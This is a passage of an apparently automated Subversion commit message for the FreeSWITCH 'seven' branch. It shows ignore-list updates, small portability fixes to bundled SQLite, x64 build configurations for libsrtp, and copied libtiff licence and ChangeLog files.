sqlite3.h
config.log
parse.h.temp
parse.h
opcodes.c
parse.y
opcodes.h
Makefile
sqlite3
libtool
mkkeywordhash
.complete
.libs
keywordhash.h
parse.c
doc
ltmain.sh
config.guess
aclocal.m4
config.sub
   + mkkeywordhash.dSYM
lemon.dSYM
sqlite3.dSYM
configure
parse.out
sqlite3.pc
lempar.c
lemon
config.status
sqlite3.h
config.log
parse.h.temp
parse.h
opcodes.c
parse.y
opcodes.h
Makefile
sqlite3
libtool
mkkeywordhash
.complete
.libs
keywordhash.h
parse.c
doc
ltmain.sh
config.guess
aclocal.m4
config.sub
autom4te.cache
install-sh
missing
configure.lineno

Deleted: freeswitch/branches/seven/libs/sqlite/install-sh

Modified: freeswitch/branches/seven/libs/sqlite/src/os.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sqlite/src/os.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sqlite/src/os.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -64,6 +64,7 @@
 # define SQLITE_TEMPNAME_SIZE (CCHMAXPATHCOMP)
 #else
 # define SQLITE_TEMPNAME_SIZE 200
+# include <unistd.h>
 #endif
 
 /* If the SET_FULLSYNC macro is not defined above, then make it

Modified: freeswitch/branches/seven/libs/sqlite/src/os_win.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sqlite/src/os_win.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sqlite/src/os_win.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,9 +25,9 @@
 /*
 ** Macros used to determine whether or not to use threads.
 */
-#if defined(THREADSAFE) && THREADSAFE
+//#if defined(THREADSAFE) && THREADSAFE
 # define SQLITE_W32_THREADS 1
-#endif
+//#endif
 
 /*
 ** Include code that is common to all os_*.c files
@@ -1616,7 +1616,7 @@
   inMutex++;
 }
 void sqlite3WinLeaveMutex(){
-  assert( inMutex );
+	//assert( inMutex );
   inMutex--;
 #ifdef SQLITE_W32_THREADS
   assert( mutexOwner==GetCurrentThreadId() );

Modified: freeswitch/branches/seven/libs/sqlite/src/vdbemem.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sqlite/src/vdbemem.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sqlite/src/vdbemem.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -760,7 +760,7 @@
   pVal->flags |= (pVal->flags & MEM_Blob)>>3;
   if( pVal->flags&MEM_Str ){
     sqlite3VdbeChangeEncoding(pVal, enc & ~SQLITE_UTF16_ALIGNED);
-    if( (enc & SQLITE_UTF16_ALIGNED)!=0 && 1==(1&(int)pVal->z) ){
+    if( (enc & SQLITE_UTF16_ALIGNED)!=0 && 1==(1&(int)(intptr_t)pVal->z) ){
       assert( (pVal->flags & (MEM_Ephem|MEM_Static))!=0 );
       if( sqlite3VdbeMemMakeWriteable(pVal)!=SQLITE_OK ){
         return 0;
@@ -770,7 +770,7 @@
   }else{
     assert( (pVal->flags&MEM_Blob)==0 );
     sqlite3VdbeMemStringify(pVal, enc);
-    assert( 0==(1&(int)pVal->z) );
+    assert( 0==(1&(int)(intptr_t)pVal->z) );
   }
   assert(pVal->enc==(enc & ~SQLITE_UTF16_ALIGNED) || sqlite3MallocFailed() );
   if( pVal->enc==(enc & ~SQLITE_UTF16_ALIGNED) ){

Modified: freeswitch/branches/seven/libs/sqlite/src/vtab.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sqlite/src/vtab.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sqlite/src/vtab.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,6 +15,7 @@
 */
 #ifndef SQLITE_OMIT_VIRTUALTABLE
 #include "sqliteInt.h"
+#include "os.h"
 
 /*
 ** External API function used to create a new virtual-table module.
@@ -562,7 +563,7 @@
 ** sqlite3.aVTrans array. Then clear the array itself.
 */
 int sqlite3VtabRollback(sqlite3 *db){
-  callFinaliser(db, (int)(&((sqlite3_module *)0)->xRollback));
+  callFinaliser(db, (int)(intptr_t)(&((sqlite3_module *)0)->xRollback));
   return SQLITE_OK;
 }
 
@@ -571,7 +572,7 @@
 ** sqlite3.aVTrans array. Then clear the array itself.
 */
 int sqlite3VtabCommit(sqlite3 *db){
-  callFinaliser(db, (int)(&((sqlite3_module *)0)->xCommit));
+  callFinaliser(db, (int)(intptr_t)(&((sqlite3_module *)0)->xCommit));
   return SQLITE_OK;
 }
 

Property changes: freeswitch/branches/seven/libs/srtp


Name: svn:ignore
   - config_in.h
Makefile.in
configure
aclocal.m4
Debug
Release
*.ncb
*.user
*.bak
config.log
.complete
aes_tables
*.pc
.libs
.deps
Makefile
config.status
libtool
libsrtp.a
autom4te.cache
Debug Dll
   + config_in.h
Makefile.in
configure
aclocal.m4
Debug
Release
*.ncb
*.user
*.bak
config.log
.complete
aes_tables
*.pc
.libs
.deps
Makefile
config.status
libtool
libsrtp.a
autom4te.cache
Debug Dll
x64
configure.lineno

Property changes: freeswitch/branches/seven/libs/srtp/build


Name: svn:ignore
   - config.guess
config.sub
ltmain.sh
   + config.guess
config.sub
ltmain.sh
depcomp
missing
install-sh

Deleted: freeswitch/branches/seven/libs/srtp/build/depcomp

Deleted: freeswitch/branches/seven/libs/srtp/build/install-sh

Deleted: freeswitch/branches/seven/libs/srtp/build/missing

Modified: freeswitch/branches/seven/libs/srtp/crypto/cipher/aes_icm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/srtp/crypto/cipher/aes_icm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/srtp/crypto/cipher/aes_icm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -98,15 +98,15 @@
   uint8_t *pointer;
   int tmp;
 
-  debug_print(mod_aes_icm, 
-            "allocating cipher with key length %d", key_len);
+  debug_print(mod_aes_icm, "allocating cipher with key length %d", key_len);
 
-  // Ismacryp, for example, uses 16 byte key + 8 byte 
-  // salt  so this function is called with key_len = 24.
-  // The check for key_len = 30 does not apply. Our usage
-  // of aes functions with key_len = values other than 30
-  // has not broken anything. Don't know what would be the
-  // effect of skipping this check for srtp in general.
+  /* Ismacryp, for example, uses 16 byte key + 8 byte 
+	 salt  so this function is called with key_len = 24.
+	 The check for key_len = 30 does not apply. Our usage
+	 of aes functions with key_len = values other than 30
+	 has not broken anything. Don't know what would be the
+	 effect of skipping this check for srtp in general.
+  */
   if (!forIsmacryp && key_len != 30)
     return err_status_bad_param;
 
@@ -300,7 +300,7 @@
 
   if (forIsmacryp) {
     uint32_t temp;    
-    //alex's clock counter forward
+    /* alex's clock counter forward */
     temp = ntohl(c->counter.v32[3]);
     c->counter.v32[3] = htonl(++temp);
   } else {

Modified: freeswitch/branches/seven/libs/srtp/libsrtp.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/srtp/libsrtp.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/srtp/libsrtp.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -86,6 +89,76 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				Description="Creating config.h from config.hw"
+				CommandLine="copy /Y &quot;$(InputDir)config.hw&quot; &quot;$(InputDir)crypto\include\config.h&quot; &gt; NUL"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				Description=""
+				CommandLine=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="crypto/include;include"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				StructMemberAlignment="0"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="false"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -153,6 +226,74 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				Description="Creating config.h from config.hw"
+				CommandLine="copy /Y &quot;$(InputDir)config.hw&quot; &quot;$(InputDir)crypto\include\config.h&quot; &gt; NUL"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				Description=""
+				CommandLine=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="crypto/include;include"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				StructMemberAlignment="0"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="false"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug Dll|Win32"
 			OutputDirectory="$(SolutionDir)Debug"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -237,6 +378,92 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug Dll|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				Description="Creating config.h from config.hw"
+				CommandLine="copy /Y &quot;$(InputDir)config.hw&quot; &quot;$(InputDir)crypto\include\config.h&quot; &gt; NUL"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				Description=""
+				CommandLine=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				EnableIntrinsicFunctions="true"
+				AdditionalIncludeDirectories="crypto/include;include"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				StructMemberAlignment="0"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="Ws2_32.lib"
+				ModuleDefinitionFile="srtp.def"
+				OptimizeReferences="1"
+				EnableCOMDATFolding="1"
+				OptimizeForWindows98="1"
+				LinkTimeCodeGeneration="0"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release Dll|Win32"
 			OutputDirectory="$(SolutionDir)Release"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -313,6 +540,85 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release Dll|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				Description="Creating config.h from config.hw"
+				CommandLine="copy /Y &quot;$(InputDir)config.hw&quot; &quot;$(InputDir)crypto\include\config.h&quot; &gt; NUL"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				Description=""
+				CommandLine=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="crypto/include;include"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				StructMemberAlignment="0"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="Ws2_32.lib"
+				ModuleDefinitionFile="srtp.def"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -374,6 +680,16 @@
 							EnableFunctionLevelLinking="false"
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug Dll|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							InlineFunctionExpansion="0"
+							EnableIntrinsicFunctions="false"
+							EnableFunctionLevelLinking="false"
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath=".\crypto\cipher\aes_cbc.c"

Copied: freeswitch/branches/seven/libs/stfu/CMakeLists.txt (from rev 14471, freeswitch/trunk/libs/stfu/CMakeLists.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/stfu/CMakeLists.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/stfu/CMakeLists.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+cmake_minimum_required(VERSION 2.6)
+
+INCLUDE_DIRECTORIES(include/) 
+
+SET ( stfu_SRCS stfu.c stfu.h)
+ADD_LIBRARY(stfu STATIC ${stfu_SRCS})
+
+
+
+
+
+
+

Modified: freeswitch/branches/seven/libs/stfu/stfu.c (14471 => 14472)


--- freeswitch/branches/seven/libs/stfu/stfu.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/stfu/stfu.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /*
  * STFU (S)ort (T)ransportable (F)ramed (U)tterances
- * Copyright (c) 2007 Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (c) 2007 Anthony Minessale II <anthm@freeswitch.org>
  *
  * Permission is hereby granted, free of charge, to any person
  * obtaining a copy of this software and associated documentation

Modified: freeswitch/branches/seven/libs/stfu/stfu.h (14471 => 14472)


--- freeswitch/branches/seven/libs/stfu/stfu.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/stfu/stfu.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /*
  * STFU (S)ort (T)ransportable (F)ramed (U)tterances
- * Copyright (c) 2007 Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (c) 2007 Anthony Minessale II <anthm@freeswitch.org>
  *
  * Permission is hereby granted, free of charge, to any person
  * obtaining a copy of this software and associated documentation

Copied: freeswitch/branches/seven/libs/tiff-3.8.2 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2


Name: svn:ignore
   + config.log
config.status
libtool
Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/.update

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/.update (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/.update) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/.update	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+Wed Jul 22 15:05:52 EDT 2009

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/COPYRIGHT

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/COPYRIGHT (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/COPYRIGHT) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/COPYRIGHT	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/COPYRIGHT	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+Copyright (c) 1988-1997 Sam Leffler
+Copyright (c) 1991-1997 Silicon Graphics, Inc.
+
+Permission to use, copy, modify, distribute, and sell this software and 
+its documentation for any purpose is hereby granted without fee, provided
+that (i) the above copyright notices and this permission notice appear in
+all copies of the software and related documentation, and (ii) the names of
+Sam Leffler and Silicon Graphics may not be used in any advertising or
+publicity relating to the software without the specific, prior written
+permission of Sam Leffler and Silicon Graphics.
+
+THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+
+IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+OF THIS SOFTWARE.

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/ChangeLog

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/ChangeLog (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/ChangeLog) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/ChangeLog	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/ChangeLog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3698 @@
+2006-03-23  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.8.2 released.
+
+	* tools/Makefile.am: Use runtime paths linker flags when rpath
+	option enabled.
+
+2006-03-21  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/libtiff.def: Added missed exports as per bug
+	http://bugzilla.remotesensing.org/attachment.cgi?id=337
+
+	* contrib/addtiffo/Makefile.vc, libtiff/Makefile.vc, port/Makefile.vc,
+	tools/Makefile.vc: Makefiles improvements as per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1128
+
+	* nmake.opt libtiff/{tif_config.h.vc, tif_unix.c, tiffio.h},
+	tools/{fax2ps.c, fax2tiff.c, tiff2pdf.c}: Fixed win32 I/O functions
+	usage as per bug http://bugzilla.remotesensing.org/show_bug.cgi?id=1127
+
+	* libtiff/tif_strip.c: Take subsampling in account when calculating
+	TIFFScanlineSize().
+
+	* tools/tiffcp.c: Do not set RowsPerStrip bigger than image length.
+
+2006-03-17  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/fax2tiff.c: Fixed wrong TIFFerror() invocations as per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1125
+
+	* tools/fax2ps.c: Fixed reading the input stream from stdin as per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1124
+
+2006-03-16  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tiffiop.h: Added decalration for
+	_TIFFSetDefaultCompressionState().
+
+	* libtiff/{tif_jpeg.c, tif_fax3.c, tif_zip.c, tif_pixarlog.c,
+	tif_lzw.c, tif_luv.c}: Use _TIFFSetDefaultCompressionState() in all
+	codec cleanup methods. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1120
+
+2006-03-15  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_jpeg.c: Do not cleanup codec state in TIFFInitJPEG(). As
+	per bug http://bugzilla.remotesensing.org/show_bug.cgi?id=1119
+
+	* tools/raw2tiff.c: Do not set RowsPerStrip larger than ImageLength.
+	As per bug http://bugzilla.remotesensing.org/show_bug.cgi?id=1110
+
+	* libtiff/tiffiop.h: dblparam_t typedef removed; GLOBALDATA macro
+	removed; move here the STRIP_SIZE_DEFAULT macro definition.
+
+	* libtiff/{tif_dirread.c, tif_strip.c}: Removed STRIP_SIZE_DEFAULT
+	macro definition.
+
+	* libtiff/tif_dir.c: Use double type instead of dblparam_t.
+
+2006-03-14  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Do not check the PlanarConfig tag presence
+	in TIFFReadDirectory, because it is always set at the start of
+	function and we allow TIFFs without that tag set.
+
+2005-03-13  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.8.1 released.
+
+2006-03-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Fixed error reporting in TIFFFetchAnyArray()
+	function as per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1102
+
+	* libtiff/tif_dirread.c: More wise check for integer overflow
+	condition as per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1102
+
+	* libtiff/{tif_jpeg.c, tif_pixarlog.c, tif_fax3.c, tif_zip.c}:
+	Properly restore setfield/getfield methods in cleanup functions. As
+	per bug http://bugzilla.remotesensing.org/show_bug.cgi?id=1102
+
+2006-03-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_predict.c, tif_predict.h}: Added new function
+	TIFFPredictorCleanup() to restore parent decode/encode/field methods.
+
+	* libtiff/{tif_lzw.c, tif_pixarlog.c, tif_zip.c}: Use
+	TIFFPredictorCleanup() in codec cleanup methods. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1102
+
+	* libtiff/tif_dirread.c: Fixed integer overflow condition in
+	TIFFFetchData() function. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1102
+
+2006-03-01  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_ojpeg.c: Set the ReferenceBlackWhite with the
+	TIFFSetField() method, not directly. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1043
+
+	* tools/ppm2tiff.c: Added support for PBM files as per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1044
+
+2006-02-27  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_write.c: Small code rearrangement in TIFFWriteScanline()
+	to avoid crash as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1081.
+
+2006-02-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2pdf.c: Functions t2p_sample_rgbaa_to_rgb() and
+	t2p_sample_rgba_to_rgb() was used in place of each other, that was
+	resulted in problems with RGBA images with associated alpha.
+	As per bug http://bugzilla.remotesensing.org/show_bug.cgi?id=1097
+
+2006-02-23  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirwrite.c: Properly write TIFFTAG_DOTRANGE tag as per
+	bug http://bugzilla.remotesensing.org/show_bug.cgi?id=1088.
+
+	* libtiff/tif_print.c: Properly read TIFFTAG_PAGENUMBER,
+	TIFFTAG_HALFTONEHINTS, TIFFTAG_YCBCRSUBSAMPLING and TIFFTAG_DOTRANGE
+	tags as per bug http://bugzilla.remotesensing.org/show_bug.cgi?id=1088.
+
+	* tools/tiff2ps.c: Properly scale all the pages when converting
+	multipage TIFF with /width/height/center options set. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1080
+
+2006-02-15  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2pdf.c: Do not create output file until all option checks
+	will be done. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1072
+
+	* tools/bmp2tiff.c: Added ability to create multipage TIFFs from the
+	list of input files as per bug:
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1077
+
+2006-02-09  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_tile.c: Fix error reporting in TIFFCheckTile() as per
+	bug http://bugzilla.remotesensing.org/show_bug.cgi?id=1063.
+
+	* tools/tiffgt.c: Avoid crashing in case of image unsupported by
+	TIFFRGBAImage interface.
+
+	* libtiff/tif_color.c: Avoid overflow in case of wrong input as per
+	bug http://bugzilla.remotesensing.org/show_bug.cgi?id=1065.
+
+2006-02-07  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tools/tiff2pdf.c: Fixed support for non-YCbCr encoded JPEG
+	compressed TIFF files, per submission from Dan Cobra. 
+
+2006-02-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dirread.c, tif_packbits.c, tif_win32.c}: Properly
+	cast values to avoid warnings. As per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1033.
+
+	* libtiff/tif_dirinfo.c: Use TIFF_NOTYPE instead of 0 when
+	appropriate. As per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1033.
+
+	* libtiff/tif_aux.c: Fixed type of temporary variable in
+	_TIFFCheckMalloc() as per bug
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1033.
+
+2006-02-06  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_aux.c: Return static array when fetching default
+	YCbCrCoefficients (another problem, reported a the
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1029 entry).
+
+2006-02-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dir.c: Special handling for PageNumber, HalftoneHints,
+	YCbCrSubsampling and DotRange tags as per bugs
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1029
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1034
+
+	* libtiff/tif_dirread.c: Use _TIFFGetExifFieldInfo() instead of
+	_TIFFGetFieldInfo() in TIFFReadEXIFDirectory() call as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1026.
+
+2006-01-23  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtool related stuff updated from the 2.1a branch.
+
+2006-01-11  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tools/bmp2tiff,pal2rgb,ppm2tiff,ras2tiff,raw2tiff,sgi2tiff,
+	tiff2bw,tiffcp: Fixed jpeg option processing so -c jpeg:r:50 works
+	properly as per bug:
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1025
+
+2006-01-09  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* configure.ac: Fix with_default_strip_size comparison as reported
+	by Norihiko Murase.
+
+2006-01-08  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* test/Makefile.am (LIBTIFF): Due to linking against libtiff
